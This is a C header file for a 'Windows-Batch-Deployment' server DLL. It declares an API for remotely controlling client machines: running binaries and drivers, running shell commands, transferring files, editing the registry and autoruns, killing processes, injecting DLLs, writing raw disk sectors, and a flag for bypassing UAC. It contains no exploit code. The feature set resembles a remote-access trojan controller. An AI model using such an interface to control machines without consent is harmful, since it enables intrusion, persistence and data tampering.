/*
	Author: Axt Müller
	Description: Windows-Batch-Deployment simple user-defined server program templete header file.
	Warning: THIS FILE SHOULD NOT BE MODIFIED, OTHERWISE THE DLL WILL MALFUNCTION.
*/
//################################################################################
// Common function macros
//################################################################################
#define MALLOC(l) VirtualAlloc(NULL, (l), MEM_COMMIT, PAGE_READWRITE)
#define FREE(p) VirtualFree((p), 0, MEM_RELEASE)

//################################################################################
// The maximum number of clients
//################################################################################
#define MAX_CONNECT_REQUEST			4096

//################################################################################
// Windows-Batch-Deployment constants
//################################################################################
#define CLIENT_STATUS_ONLINE		"online"
#define CLIENT_STATUS_OFFLINE		"offline"
#define CLIENT_STATUS_CONNECTED		"connected"

#define CLIENT_CONFIG_SERVER		0

#define CLIENT_BYPASS_UAC_UNSAFE	100

#define CLIENT_RUN_DLL_P1			-2
#define CLIENT_RUN_DLL_P2			-1
#define CLIENT_RUN_SYS_P1			-1
#define CLIENT_RUN_SYS_P2			-1

#define CLIENT_FSO_CREATE_FILE		0
#define CLIENT_FSO_CREATE_DIRECTORY	1
#define CLIENT_FSO_COPY				2
#define CLIENT_FSO_DELETE			3
#define CLIENT_FSO_RENAME			4
#define CLIENT_FSO_SET_ATTRIB		5
#define CLIENT_FSO_GET_ATTRIB		6
#define CLIENT_FSO_HTTP_DOWNLOAD	7
#define CLIENT_FSO_GET_CRC32		8
#define CLIENT_FSO_DELAY_MOV_DEL	9

#define CLIENT_REG_CREATE_KEY		0
#define CLIENT_REG_DELETE_KEY		1
#define CLIENT_REG_RENAME_KEY		2
#define CLIENT_REG_DELETE_VALUE		3
#define CLIENT_REG_QUERY_VALUE		4
#define CLIENT_REG_SET_VALUE		5

#define CLIENT_AUTORUN_TYPE_SYS		0
#define CLIENT_AUTORUN_TYPE_EXE		1
#define CLIENT_AUTORUN_TYPE_DLL		2

#define CLIENT_QSI_QUERY_TICK_TIME	0
#define CLIENT_QSI_ENUM_PROCESS		1
#define CLIENT_QSI_ENUM_PROC_MOD	2
#define CLIENT_SSI_SET_LOCAL_TIME	100
#define CLIENT_SSI_KILL_PROCESS		101
#define CLIENT_SSI_INJECT_DLL		102

#define CLIENT_DISK_QUERY_PARTITION	0
#define CLIENT_DISK_QUERY_FILE_POS	1
#define CLIENT_DISK_READ_SECTOR		2
#define CLIENT_DISK_WRITE_SECTOR	3

//################################################################################
// Windows-Batch-Deployment user-defined function prototypes
//################################################################################
//Usage:        Indicate the progress of the file transfer.
//Parameters:   Current file block number, Bytes transferred in current block, All bytes in current block, Client Id
//Return value: Any, should be set to 0.
//Remark:       The pointer of this function should be filled in the structure SENDRECV_CALLBACK.
typedef ULONG (__stdcall *SENDRECVCALLBACK)(ULONG count, ULONG current, ULONG all, ULONG id);

//################################################################################
// Windows-Batch-Deployment structures
//################################################################################
#pragma pack(1)
typedef struct _CLIENT_INFO
{
	long id;
	unsigned long long hash;
	char szAddr[32];
	char szStatus[32];
	char szDescription[32+20];
}CLIENT_INFO, *PCLIENT_INFO;

typedef struct _BDP_FILE_TIME
{
	USHORT Year;
	UCHAR Month;
	UCHAR Day;
	UCHAR Hour;
	UCHAR Minute;
	UCHAR Second;
	UCHAR Weekday;
} BDP_FILE_TIME;

typedef struct _BDP_FILE_INFO
{
	BDP_FILE_TIME FileModifyTime;
	ULONG64 FileSize;
	WCHAR FileName[248];
}BDP_FILE_INFO, *PBDP_FILE_INFO;

typedef struct _BDP_REG_INFO
{
	UCHAR Type;       //Such as REG_SZ, REG_KEY = 0xFF.
	UCHAR NameTooLong;//If value name length > 255, it will be set to 1.
	UCHAR Reserved[2];
	ULONG DataLength;
	WCHAR Name[256];  //KEY_NAME_MAX_LEN = 255, VALUE_NAME_MAX_LEN = 16383.
	UCHAR Data[504];  //If data length is longer than the buffer, the buffer would be empty.
}BDP_REG_INFO, *PBDP_REG_INFO;

typedef struct _BDP_SI_SYSTEM_TIME
{
	ULONG64 TickCount;
	SYSTEMTIME LocalTime;
}BDP_SI_SYSTEM_TIME, *PBDP_SI_SYSTEM_TIME;

typedef struct _BDP_SI_PROCESS_INFO
{
	ULONG64 Object;
	ULONG64 ID;
	WCHAR Path[260];
}BDP_SI_PROCESS_INFO, *PBDP_SI_PROCESS_INFO;

typedef struct _BDP_SI_PROCESS_MOD_INFO
{
	ULONG64 Base;
	ULONG64 Size;
	WCHAR Path[260];
}BDP_SI_PROCESS_MOD_INFO, *PBDP_SI_PROCESS_MOD_INFO;

typedef struct _BDP_DISK_QUERY_READ_WRITE
{
	union
	{
		WCHAR Path[MAX_PATH];
		struct
		{
			union
			{
				ULONG PartitionId;
				ULONG DiskId;
			};
			ULONG64 LBA;
			ULONG CountLBA;
			ULONG SectorSize;
		};
	};
	UCHAR Buffer[1];
}BDP_DISK_QUERY_READ_WRITE, *PBDP_DISK_QUERY_READ_WRITE;

typedef struct _BDP_PARTITION_INFO
{
	ULONG DiskId;
	ULONG SectorsPerCluster;
	ULONG BytesPerSector;
	WCHAR DosDevice;
	ULONG64 StartOffset;
	ULONG64 ExtentLength;
}BDP_PARTITION_INFO, *PBDP_PARTITION_INFO;

typedef struct _BDP_SECTION
{
	ULONG64 Begin;
	ULONG64 End;
}BDP_SECTION, *PBDP_SECTION;

typedef struct _BDP_FILE_CLUSTERS
{
	ULONG DiskId;
	ULONG PartitionId;
	ULONG SectorsPerCluster;
	ULONG BytesPerSector;
	ULONG SectionCount;
	ULONG64 PartitionStartOffset;
	BDP_SECTION Sections[1];
}BDP_FILE_CLUSTERS, *PBDP_FILE_CLUSTERS;
#pragma pack()

typedef struct _SENDRECV_CALLBACK
{
	ULONG id;					//Client Id.
	ULONG reserved;				//Internal use.
	SENDRECVCALLBACK callback;	//User-defined function.
}SENDRECV_CALLBACK, *PSENDRECV_CALLBACK;

//################################################################################
// Windows-Batch-Deployment function prototypes
//################################################################################
//Usage:        Initialize DLL.
//Parameters:   The port to use.
//Return value: Success or fail (TRUE or FALSE).
typedef BOOLEAN (__stdcall *init)(int SERVER_PORT);

//Usage:        Uninitialize DLL.
//Return value: Success or fail (TRUE or FALSE).
typedef BOOLEAN (__stdcall *uninit)();

//Usage:        List all online clients.
//Parameters:   Buffer for clients information (caller allocates the buffer).
//Return value: Client count.
typedef ULONG (__stdcall *ClientList)(PCLIENT_INFO BufferProvidedByCaller);

//Usage:        Let the specific client connect to the server.
//Parameters:   Client Id.
//Return value: Success or fail (TRUE or FALSE).
//Remarks:      This function must be called before performing any operation on the client.
typedef BOOLEAN (__stdcall *ClientConnect)(ULONG id);

//Usage:        Disconnect the specific client.
//Parameters:   Client Id.
//Return value: Success or fail (TRUE or FALSE).
typedef BOOLEAN (__stdcall *ClientDisconnect)(ULONG id);

//Usage:        Test if the specific client is connected to the server.
//Parameters:   Client Id, Buffer for version number.
//Return value: Success or fail (TRUE or FALSE). 
//Remarks:      If the function returns success, the client's version number will be copied to the buffer.
typedef BOOLEAN (__stdcall *ClientTest)(ULONG id, PULONG64 pVersionNumber);

//Usage:        Reboot the specific client.
//Parameters:   Client Id.
//Return value: Success or fail (TRUE or FALSE).
typedef BOOLEAN (__stdcall *ClientReboot)(ULONG id);

//Usage:        Shutdown the specific client.
//Parameters:   Client Id.
//Return value: Success or fail (TRUE or FALSE).
typedef BOOLEAN (__stdcall *ClientShutdown)(ULONG id);

//Usage:        Update or uninstall the specific client.
//Parameters:   Client Id, New client file path.
//Return value: Success or fail (TRUE or FALSE).
//Remarks:      If parameter 2 is NULL, the function will uninstall the client.
typedef BOOLEAN (__stdcall *ClientUpdate)(ULONG id, PWCHAR wsLocalFile);

//Usage:        Configure the specific client.
//Parameters:   Client Id, Configuration Id, Configuration file path.
//Return value: Success or fail (TRUE or FALSE).
//Remarks:      Currently, Configuration Id can only be CLIENT_CONFIG_SERVER (set server domain or IP address). 
//              For the format of the configuration file, please read "test.cfg".
typedef BOOLEAN (__stdcall *ClientConfig)(ULONG id, UCHAR ConfigId, PWCHAR wsLocalConfigFilePath);

//Usage:        Query directory on the specific client.
//Parameters:   Client Id, Directory path, Buffer for files information, Structure count.
//Return value: Success or fail (TRUE or FALSE).
//Remarks:      If the function returns success, parameter 4 will be updated to the actual file count.
//              The maximum length of directory path is 499 characters (998 bytes).
typedef BOOLEAN (__stdcall *CmdQueryDirectory)(ULONG id, PWCHAR path, PBDP_FILE_INFO BufferProvidedByCaller, PULONG pStructCount);

//Usage:        Upload file to the specific client.
//Parameters:   Client Id, Local file, Remote file, Pointer of structure SENDRECV_CALLBACK (can be NULL).
//Return value: Success or fail (TRUE or FALSE).
typedef BOOLEAN (__stdcall *CmdUploadFileTo)(ULONG id, PWCHAR wsLocalFile, PWCHAR wsRemoteSaveTo, PSENDRECV_CALLBACK Callback);

//Usage:        Download file from the specific client.
//Parameters:   Client Id, Remote file, Local file, Pointer of structure SENDRECV_CALLBACK (can be NULL).
//Return value: Success or fail (TRUE or FALSE).
typedef BOOLEAN (__stdcall *CmdDownloadFileFrom)(ULONG id, PWCHAR wsRemoteFile, PWCHAR wsLocalSaveTo, PSENDRECV_CALLBACK Callback);

//Usage:        Execute binary on the specific client.
//Parameters:   Client Id, Remote file, Window mode, Timeout of waiting, Return data.
//Return value: Success or fail (TRUE or FALSE).
//Remarks:      Binary can be EXE, DLL or SYS. The maximum length of parameter 2 is 499 characters (998 bytes).
//              EXE: parameter 3 can be SW_HIDE to SW_MAX, parameter 4 can be 0 to INFINITE, return data is the PID of the process.
//                   UAC may cause problems with this feature, if you use CLIENT_BYPASS_UAC_UNSAFE on parameter 3, UAC will be bypassed.
//                   However, CLIENT_BYPASS_UAC_UNSAFE may cause some systems to crash after multiple (>10) uses, so this flag is not recommended.
//              DLL: parameter 3 and 4 must be CLIENT_RUN_DLL_P1 and CLIENT_RUN_DLL_P2, return data is the PID of RUNDLL32.EXE
//              SYS: parameter 3 and 4 must be CLIENT_RUN_SYS_P1 and CLIENT_RUN_SYS_P2, return data is driver object.
typedef BOOLEAN (__stdcall *CmdExecuteBinary)(ULONG id, PWCHAR path, BOOLEAN wndmode, ULONG waittmo, PULONG64 pRetVal);

//Usage:        Execute system shell on the specific client, and get the return string.
//Parameters:   Client Id, Command line, String buffer, Maximum length of string buffer.
//Return value: Success or fail (TRUE or FALSE).
//Remarks:      If the command takes more than 10 seconds to execute, it will time out.
//              The maximum length of the command is 499 characters (998 bytes).
typedef BOOLEAN (__stdcall *CmdSystemShell)(ULONG id, PWCHAR param, PCHAR Buffer, ULONG Length);

//Usage:        Perform a file operation on the specific client.
//Parameters:   Client Id, Sub function Id, path 1, path 2, Return data.
//Return value: Success or fail (TRUE or FALSE).
//Remarks:      [Sub function Id feature]
//              CLIENT_FSO_CREATE_FILE:      Create a file.
//              CLIENT_FSO_CREATE_DIRECTORY: Create a directory.
//              CLIENT_FSO_COPY:             Copy file or directory.
//              CLIENT_FSO_DELETE:           Delete file or directory.
//              CLIENT_FSO_RENAME:           Rename file or directory.
//              CLIENT_FSO_SET_ATTRIB:       Set attribute of file or directory.
//              CLIENT_FSO_GET_ATTRIB:       Query attribute of file or directory.
//              CLIENT_FSO_HTTP_DOWNLOAD:    Download file via HTTP link, HTTPS links are not supported.
//				CLIENT_FSO_GET_CRC32:        Get crc32 of file.
//				CLIENT_FSO_DELAY_MOV_DEL:    Move or delete file after system reboots.
//              [Sub function Id parameters]
//              CLIENT_FSO_CREATE_FILE:      path 1 = new file path,                path 2 = content (<=249 characters), Return data = NULL.
//              CLIENT_FSO_CREATE_DIRECTORY: path 1 = new directory path,           path 2 = NULL,                       Return data = NULL.
//              CLIENT_FSO_COPY:             path 1 = source file / directory path, path 2 = target file/directory path, Return data = NULL.
//              CLIENT_FSO_DELETE:           path 1 = file / directory path,        path 2 = NULL,                       Return data = NULL.
//              CLIENT_FSO_RENAME:           path 1 = file / directory path,        path 2 = new path name,              Return data = NULL.
//              CLIENT_FSO_SET_ATTRIB:       path 1 = file / directory path,        path 2 = attribute value,            Return data = NULL.
//              CLIENT_FSO_GET_ATTRIB:       path 1 = file / directory path,        path 2 = NULL,                       Return data = attribute value.
//              CLIENT_FSO_HTTP_DOWNLOAD:    path 1 = URL,                          path 2 = path to save the file,      Return data = NULL.
//              CLIENT_FSO_GET_CRC32:        path 1 = file path,                    path 2 = NULL,                       Return data = crc32 value.
//              CLIENT_FSO_DELAY_MOV_DEL:    path 1 = old file path,                path 2 = new file path,              Return data = NULL.
//              [Limitation]
//              The maximum length of file / directory path is 249 characters (498 bytes).
typedef BOOLEAN (__stdcall *CmdFileOperation)(ULONG id, BYTE fn, PWCHAR path1, PWCHAR path2, PULONG pRetVal);

//Usage:        Add an auto-run item (when Windows-Batch-Deployment starts up, it will load all auto-run items).
//Parameters:   Client Id, Item type, Item name, File path, Arguments for the program.
//Return value: Success or fail (TRUE or FALSE).
//Remarks:      [Item type]
//              CLIENT_AUTORUN_TYPE_SYS:     Kernel mode driver.
//              CLIENT_AUTORUN_TYPE_EXE:     User mode program.
//              CLIENT_AUTORUN_TYPE_DLL:     User mode DLL.
//              [Arguments for the program]
//              CLIENT_AUTORUN_TYPE_SYS:     NULL.
//              CLIENT_AUTORUN_TYPE_EXE:     Command line, can be NULL, maximum length is 219 characters (438 bytes).
//              CLIENT_AUTORUN_TYPE_DLL:     Exported function name and parameter(s), cannot be NULL, maximum length is 219 characters (438 bytes).
typedef BOOLEAN (__stdcall *CmdAddAutoRunBin)(ULONG id, BYTE type, PWCHAR name, PWCHAR path, PWCHAR param);

//Usage:        Delete an auto-run item.
//Parameters:   Client Id, Item type, Item name.
//Return value: Success or fail (TRUE or FALSE).
//Remarks:      Description of parameter 2 is in the "Remarks" section of CmdAddAutoRunBin.
typedef BOOLEAN (__stdcall *CmdDelAutoRunBin)(ULONG id, BYTE type, PWCHAR name);

//Usage:        Query all auto-run items.
//Parameters:   Client Id, Item type, Buffer for item names.
//Return value: Success or fail (TRUE or FALSE).
//Remarks:      Description of parameter 2 is in the "Remarks" section of CmdAddAutoRunBin.
//              If one or more items exist, structure of parameter 3 is a sequence of null-terminated strings, terminated by an empty string (\0). 
//              The first "\0" terminates the first string, the second to the last "\0" terminates the last string, and the final "\0" terminates the sequence.
//              The following is an example: "Name1\0Name2\0...\0LastName\0\0". 
//              If no item exists, the string will be "((LEER))\0\0".
//              You need to call VirtualFree to free the memory of names.
typedef BOOLEAN (__stdcall *CmdQueryAutoRunBin)(ULONG id, BYTE type, PWCHAR *names);

//Usage:        Delete all auto-run items.
//Parameters:   Client Id, Item type.
//Return value: Success or fail (TRUE or FALSE).
//Remarks:      Description of parameter 2 is in the "Remarks" section of CmdAddAutoRunBin.
typedef BOOLEAN (__stdcall *CmdClearAutoRunBin)(ULONG id, BYTE type);

//Usage:        Get the latest version of server DLL and download the latest file(s).
//Parameters:   Buffer for current version, Buffer for latest version, path for 32-bit server DLL, path for 64-bit server DLL.
//Return value: Success or fail (TRUE or FALSE).
//Remarks:      If parameter 3 or parameter 4 is NULL, the file will not be downloaded.
typedef BOOLEAN (__stdcall *UpdateServer)(char* CurrVerStr, char* VerStr, char* SaveTo32, char* SaveTo64);

//Usage:        Get the latest version of client and download the latest file(s).
//Parameters:   Buffer for latest version, path for 32-bit client, path for 64-bit client.
//Return value: Success or fail (TRUE or FALSE).
//Remarks:      If parameter 2 or parameter 3 is NULL, the file will not be downloaded.
typedef BOOLEAN (__stdcall *UpdateClient)(char* VerStr, char* SaveTo32, char* SaveTo64);

//Usage:        Query registry key on the specific client.
//Parameters:   Client Id, Key path, Buffer for items information, Structure count.
//Return value: Success or fail (TRUE or FALSE).
//Remarks:      If the function returns success, parameter 4 will be updated to the actual item count.
//              If the value data length is greater than 504 bytes, you have to use CmdRegistryOperation with CLIENT_REG_QUERY_VALUE to query the data.
//              The maximum length of key path is 499 characters (998 bytes), the maximum length of returned item name is 255 characters (510 bytes).
typedef BOOLEAN (__stdcall *CmdQueryRegistry)(ULONG id, PWCHAR path, PBDP_REG_INFO BufferProvidedByCaller, PULONG pStructCount);

//Usage:        Perform a registry operation on the specific client.
//Parameters:   Client Id, Sub function Id, Key path, Key name or value name, value type, value data buffer, value data length
//Return value: Success or fail (TRUE or FALSE).
//Remarks:      [Sub function Id feature]
//              CLIENT_REG_CREATE_KEY:       Create a registry key.
//              CLIENT_REG_DELETE_KEY:       Delete a registry key.
//              CLIENT_REG_RENAME_KEY:       Rename a registry key.
//              CLIENT_REG_DELETE_VALUE:     Delete a registry value.
//              CLIENT_REG_QUERY_VALUE:      Query a registry value.
//              CLIENT_REG_SET_VALUE:        Set a registry value.
//              [Sub function Id parameters]
//              CLIENT_REG_CREATE_KEY:       path = key path, name = NULL,         pType = NULL,  pBuffer = NULL,  pLength = NULL.
//              CLIENT_REG_DELETE_KEY:       path = key path, name = NULL,         pType = NULL,  pBuffer = NULL,  pLength = NULL.
//              CLIENT_REG_RENAME_KEY:       path = key path, name = new key name, pType = NULL,  pBuffer = NULL,  pLength = NULL.
//              CLIENT_REG_DELETE_VALUE:     path = key path, name = value name,   pType = NULL,  pBuffer = NULL,  pLength = NULL.
//              CLIENT_REG_QUERY_VALUE:      path = key path, name = value name,   pType = (out), pBuffer = (out), pLength = (out).
//              CLIENT_REG_SET_VALUE:        path = key path, name = value name,   pType = (in),  pBuffer = (in),  pLength = (in).
//              [Limitation]
//              When using CLIENT_REG_QUERY_VALUE, parameter 6 must be allocated with enough space by caller, otherwise no data will not be copied to it.
//              The maximum length of parameter 3 is 259 characters (518 bytes). The maximum length of parameter 4 is 239 characters (478 bytes).
typedef BOOLEAN (__stdcall *CmdRegistryOperation)(ULONG id, BYTE fn, PWCHAR path, PWCHAR name, PULONG pType, PVOID pBuffer, PULONG pLength);

//Usage:        Query or set system information on the specific client.
//Parameters:   Client Id, Sub function Id, Input data, Input data length, Output data buffer, Output data length
//Return value: Success or fail (TRUE or FALSE).
//Remarks:      [Sub function Id feature]
//              CLIENT_QSI_QUERY_TICK_TIME:  Query tick count and local time.
//              CLIENT_QSI_ENUM_PROCESS:     Enumerate process.
//              CLIENT_QSI_ENUM_PROC_MOD:    Enumerate process module.
//              CLIENT_SSI_SET_LOCAL_TIME:   Set local time.
//              CLIENT_SSI_KILL_PROCESS:     Kill process.
//              CLIENT_SSI_INJECT_DLL:       Inject process module.
//              [Sub function Id parameters]
//              CLIENT_QSI_GET_TICK_TIME:    pIn = NULL,                 dwInLen = 0,                           pOut = &BDP_SI_SYSTEM_TIME,      pdwOutLen = &(sizeof(BDP_SI_SYSTEM_TIME))
//              CLIENT_QSI_QUERY_PROCESS:    pIn = NULL,                 dwInLen = 0,                           pOut = &BDP_SI_PROCESS_INFO,     pdwOutLen = &(sizeof(BDP_SI_PROCESS_INFO) * N)
//              CLIENT_QSI_ENUM_PROC_MOD:    pIn = &BDP_SI_PROCESS_INFO, dwInLen = sizeof(BDP_SI_PROCESS_INFO), pOut = &BDP_SI_PROCESS_MOD_INFO, pdwOutLen = &(sizeof(BDP_SI_PROCESS_MOD_INFO) * N)
//              CLIENT_SSI_SET_LOCAL_TIME:   pIn = &BDP_SI_SYSTEM_TIME,  dwInLen = sizeof(BDP_SI_SYSTEM_TIME)
//              CLIENT_SSI_KILL_PROCESS:     pIn = &BDP_SI_PROCESS_INFO, dwInLen = sizeof(BDP_SI_PROCESS_INFO)
//              CLIENT_SSI_INJECT_DLL:       pIn = &BDP_SI_PROCESS_INFO, dwInLen = sizeof(BDP_SI_PROCESS_INFO)
//              [About pdwBufferLength]
//              Set the buffer size of "pOut" (in bytes), if the function returns TRUE, it will be corrected to the actual returned bytes.
typedef BOOLEAN (__stdcall *CmdQuerySetSystemInformation)(ULONG id, BYTE fn, PVOID pIn, ULONG dwInLen, PVOID pOut, PULONG pdwOutLen);

//Usage:        Read write disk on the specific client.
//Parameters:   Client Id, Sub function Id, Operation parameters, Output data buffer, Output data length
//Return value: Success or fail (TRUE or FALSE).
//Remarks:      [Sub function Id feature]
//              CLIENT_DISK_QUERY_PARTITION: Query partition information.
//              CLIENT_DISK_QUERY_FILE_POS:  Query file data layout on the disk.
//              CLIENT_DISK_READ_SECTOR:     Read data from sector(s).
//              CLIENT_DISK_WRITE_SECTOR:    Write data to sector(s).
//              [Sub function Id parameters]
//              CLIENT_DISK_QUERY_PARTITION: pParam = (PartitionId),                    pOut = &BDP_PARTITION_INFO, pdwOutLen = &(sizeof(BDP_PARTITION_INFO))
//              CLIENT_DISK_QUERY_FILE_POS:  pParam = (Path),                           pOut = &BDP_FILE_CLUSTERS,  pdwOutLen = &(sizeof(BDP_FILE_CLUSTERS) + sizeof(BDP_SECTION) * N)
//              CLIENT_DISK_READ_SECTOR:     pParam = (DiskId|LBA|CountLBA|SectorSize), pOut = &UCHAR[],            pdwOutLen = &(sizeof(UCHAR) * N)
//              CLIENT_DISK_WRITE_SECTOR:    pParam = (DiskId|LBA|CountLBA|SectorSize)
//              [About pdwBufferLength]
//              Set the buffer size of "pOut" (in bytes), if the function returns TRUE, it will be corrected to the actual returned bytes.
typedef BOOLEAN (__stdcall *CmdReadWriteDisk)(ULONG id, BYTE fn, PBDP_DISK_QUERY_READ_WRITE pParam, PVOID pOut, PULONG pdwOutLen);